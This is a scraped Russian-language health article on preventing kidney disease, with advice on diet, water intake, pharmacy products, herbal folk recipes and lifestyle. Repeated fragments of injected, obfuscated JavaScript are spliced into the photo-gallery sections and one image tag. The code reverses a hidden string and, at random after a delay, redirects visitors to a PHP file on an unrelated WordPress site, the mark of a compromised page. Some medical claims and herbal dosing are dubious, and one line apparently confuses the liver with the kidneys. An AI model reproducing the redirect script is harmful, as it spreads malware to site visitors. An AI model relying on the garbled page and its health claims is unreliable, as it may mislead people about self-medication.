Как предупредить развитие почечных заболеваний: меры профилактики

Почки — это важнейшие органы мочевыделительной системы человека. Именно они отвечают за очищение циркулирующей по артериям и венам крови от вредных примесей, которые затем покидают тело вместе с уриной. А ещё почки участвуют в синтезировании многих полезных и биологически активных веществ, а также гормонов, регулирующих различные функции организма. Именно поэтому любое заболевание нередко оканчивается нежелательными последствиями и лишает человека трудоспособности. Чтобы избежать этого, необходимо постоянно заботиться о своём здоровье и регулярно проверяться у врача.

В чём заключается роль методов профилактики

В последние годы медицинское сообщество пришло к мысли, что многие заболевания почек гораздо проще предотвратить заранее, чем заниматься их лечением. Именно с этой целью регулярно составляются различные Всероссийские и международные программы, основным принципом которых является защита здоровья пациента и его укрепление. Согласно данным статистических исследований, с 2006 по 2018 год в связи с применением определённых профилактических рекомендаций резко снизилось число подобных недугов.

Кто относится к группе риска по возникновению почечных заболеваний:

• лица с недавно перенесёнными операциями, в ходе которых проводилась установка мочевого катетера;
• люди с отягощённой наследственностью (хотя бы один из ближайших родственников сталкивался с подобными проблемами);
• пациенты, страдающие от патологий сердечно-сосудистой, эндокринной системы либо от общих инфекционных недугов (к ним относят ВИЧ, гепатит, сифилис, туберкулёз);
• мужчины и женщины, занятые на вредном и опасном производстве.

Видео: Малахов рассказывает о том, как избежать развития заболеваний урогенитального тракта

Рекомендации по питанию для людей, желающих сохранить здоровье почек

Как известно, мочевыделительная система крайне чувствительна к воздействию факторов окружающей среды. Немаловажное влияние на почки оказывает и питание: бо́льшая часть как полезных, так и вредных веществ поступает с едой. Именно поэтому тем людям, которые хотят заботиться о своём организме, необходимо изменить рацион и соблюдать важнейшие принципы здорового питания:

1. Все блюда лучше готовить с минимальным количеством масла: тушить, отваривать или запекать. Старайтесь отказаться от жареного и копчёного, так как такой способ обработки пищи не способствует сохранению полезных веществ, но обогащает жиром.
2. Ограничивайте количество соли и острых соусов, добавляемых в пищу. Они способствуют задержке жидкости в организме и могут вызывать отёки. Рекомендуется снизить уровень ежедневно потребляемой соли до 5 грамм.
3. Разделите пищу на 6 небольших приёмов. Вес 1 порции не должен превышать 300–350 грамм. Это способствует нормализации пищеварения и не вызывает перерастяжения желудка.
4. Приобретайте максимально свежие и натуральные продукты без вредных химикатов, добавок, красителей и усилителей вкуса. Можно выбирать их на рынке у частных продавцов либо в проверенных магазинах.

Организация правильного питания для защиты почек

Многие продукты, которые люди привыкли употреблять в повседневной жизни, оказывают негативное и даже разрушительное влияние на почки. Тем, кто хочет поддерживать своё здоровье, необходимо отказаться от следующей еды:

• чипсы и сухарики;
• сушёные, вяленые морепродукты и мясо;
• глазированные сырки;
• магазинная выпечка и сладости;
• кетчуп, майонез, соевый соус;
• полуфабрикаты и продукты быстрого приготовления.

Фотогалерея: вредная еда

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»39422,39421,39420″]

Что следует ввести в рацион:

• молочные продукты (кефир, творог, йогурты без добавок, бифидок, ряженку);
• зелень, свежие овощи, фрукты и ягоды;
• орехи;
• супы (щи, борщ, рассольник, гаспачо);
• нежирное мясо (говядину, свинину) и птицу (индейку, курицу);
• печень, желудочки, сердечки;
• макароны твёрдых сортов;
• бобовые и гороховые;
• крупы и каши;
• домашнюю выпечку.

Фотогалерея: полезная еда

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»39419,39418,39417″]

Питьевой режим для профилактики почечных заболеваний

Вывести из организма многие токсины и восстановить солевой баланс можно с помощью обыкновенной воды. Питьевой режим также позволяет эффективно обеспечить профилактику заболеваний урогенитального тракта. Рекомендуется ежедневно употреблять не менее 2 литров чистой воды (по 8 стаканов в день), при необходимости увеличивая её количество. Можно дополнительно пить натуральные соки, морсы, компоты и кисели, а также зелёный чай, потому что он обладает антиоксидантными свойствами. Газировка и пакетированные соки приносят больше вреда, чем пользы, а кофе и чёрный чай повышают артериальное давление. От алкоголя следует отказаться, но допускается выпить бокал вина по случаю торжества.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5c09426858003-728×452.jpg» alt=»Зелёный чай» width=»728″ height=»452″ /> Зелёный чай выводит из организма токсины

Не стоит налегать на минералку. Так как она содержит в своём составе соли, слишком частое употребление такой воды может стать фактором риска развития мочекаменной болезни.

Мне на своём опыте удалось столкнуться с эффектом от нормализации водно-солевого баланса. Если раньше я пила по 1–3 стакана воды в сутки, то теперь всего за полгода увеличила количество до 10. В результате этого самочувствие значительно улучшилось, нормализовался сон, разгладились мелкие морщинки на коже, а ещё почки стали работать гораздо лучше.

Медикаментозная профилактика патологий почек

Фармацевтические аптечные средства также могут быть использованы для укрепления организма и защиты от развития заболеваний урогенитального тракта. Но не забывайте, что многие из них можно принимать только с разрешения своего врача, а также не следует смешивать между собой 2 лекарства с одинаковым эффектом.

Группы препаратов, используемых для профилактики почечных заболеваний:

1. Фитотерапевтические средства содержат в своём составе различное растительное сырьё, что делает их крайне безопасными для печени. Их назначают для защиты от воспалительных патологий и образования камней в чашечно-лоханочной системе. К лекарствам этой группы относят: Цистон, Канефрон-Н, Фитолизин, Леспефлан.
2. Иммуностимуляторы способствуют укреплению организма и защищают его от проникновения бактериальных, вирусных и грибковых инфекций. Рекомендуется применять их в осенне-зимний период. С этой целью назначают: Полиоксидоний, Циклоферон, Виферон, Иммунал, Тактивин, Тимоген, Тималин.
3. Витаминные и минеральные комплексы восстанавливают потребность в основных компонентах, участвующих в обменных процессах. Для мужчин рекомендуют следующие препараты: Опти-мен, Адам, Дуовит, Алфавит. Женщинам больше подойдут Аевит, Компливит, Супрадин.

Фотогалерея: медикаменты для профилактики патологий

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»39426,39425,39424,39423″]

Как защитить себя от развития почечных недугов в домашних условиях

Средства на основе растений, плодов и трав также могут быть использованы для укрепления иммунитета и выведения из организма токсинов. Весомое преимущество состоит в низкой стоимости и высокой доступности компонентов сырья. Многое из этого вы можете приобрести в аптеке или собрать самостоятельно.

Некоторые народные средства у чувствительных людей могут вызвать аллергическую реакцию. Во время работы в отделении скорой медицинской помощи мне часто приходилось сталкиваться с этим. Один из пациентов решил в качестве профилактики почечных заболеваний и для общего укрепления иммунитета пропить настойку элеутерококка. Он немного превысил рекомендуемую дозировку и принял средство. В течение нескольких секунд у мужчины развилась серьёзнейшая аллергическая реакция в виде мощного отёка Квинке: пострадавший не мог дышать, его лицо и язык увеличились в размерах в несколько раз. Родственники вызвали скорую, прибывшие медики сделали укол Адреналина и госпитализировали больного. Уже после проведения специальных проб выяснилось, что эта специфическая реакция возникла в ответ на компоненты средства. Медики советуют всегда держать под рукой антигистаминные препараты (Лоратадин, Кларитин), чтобы не попасть в такую ситуацию. А также можно капнуть 1–2 мл народного средства на запястье: при развитии зуда или покраснения следует от него отказаться.

Самые популярные природные рецепты для профилактики почечных заболеваний:

1. 100 г толокнянки залейте литром воды в небольшой кастрюльке и поставьте её на средний огонь. Варите около 30 минут, постоянно помешивая. После остывания (желательно утром) пейте по 1 стакану средства каждые 4 часа. Толокнянка обладает мочегонным эффектом и помогает удалить из организма патогенные микробы и продукты их жизнедеятельности. Использовать такое очищение следует не чаще 1 раза в 2 недели, чтобы не спровоцировать обезвоживания.
2. 20 г ромашки смешайте с 30 г календулы и 10 г коры дуба, залейте литром кипятка и оставьте на 30 минут. Затем наберите ванну горячей воды, вылейте в неё полученное средство и погрузитесь по пояс. Провести в таком положении необходимо не менее получаса. Эта процедура способствует улучшению кровоснабжения и лимфатического оттока от органов мочевыделительной системы, а травы обладают дополнительными антисептическими свойствами. Проводить её нужно 1 раз в неделю.
3. 2 столовые ложки измельчённого зверобоя заварите в стакане кипятка и оставьте на сутки. Утром следующего дня выпейте средство до завтрака. Зверобой способствует укреплению иммунитета и делает организм более устойчивым к различным воздействиям. Возможно использовать этот способ ежедневно.

Фотогалерея: народные средства для профилактики почечных заболеваний

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»39429,39428,39427″]

Рекомендации относительно изменения образа жизни

Какие правила необходимо соблюдать, чтобы поддерживать здоровье на нужном уровне:

• отказ от вредных привычек (наркотики, алкоголь и никотин разрушают организм, делают его слабым и уязвимым);
• заниматься лечением острых и хронических заболеваний;
• регулярные физические нагрузки и тренировки;
• проведение не менее 2 часов в сутки на свежем воздухе;
• контроль веса и артериального давления утром и вечером;
• не принимать медикаментозные препараты без врачебного назначения;
• ежегодно проходить вакцинацию (прививки способствуют созданию активного иммунитета);
• 1 раз в 6 месяцев обследоваться у терапевта и сдавать общие анализы мочи и крови даже при отсутствии жалоб (чтобы обнаружить недуг на ранней стадии развития).

Не забывайте, что ни один доктор не сможет позаботиться о вашем здоровье лучше вас самих. Заболевания почек крайне тяжело поддаются лечению и могут оставить после себя множество осложнений. Именно поэтому необходимо с самых ранних пор придерживаться правил профилактики и следить за состоянием организма. Если всё же защита вас подвела, не стесняйтесь обращаться за помощью к доктору, чтобы быстрее избавиться от недуга.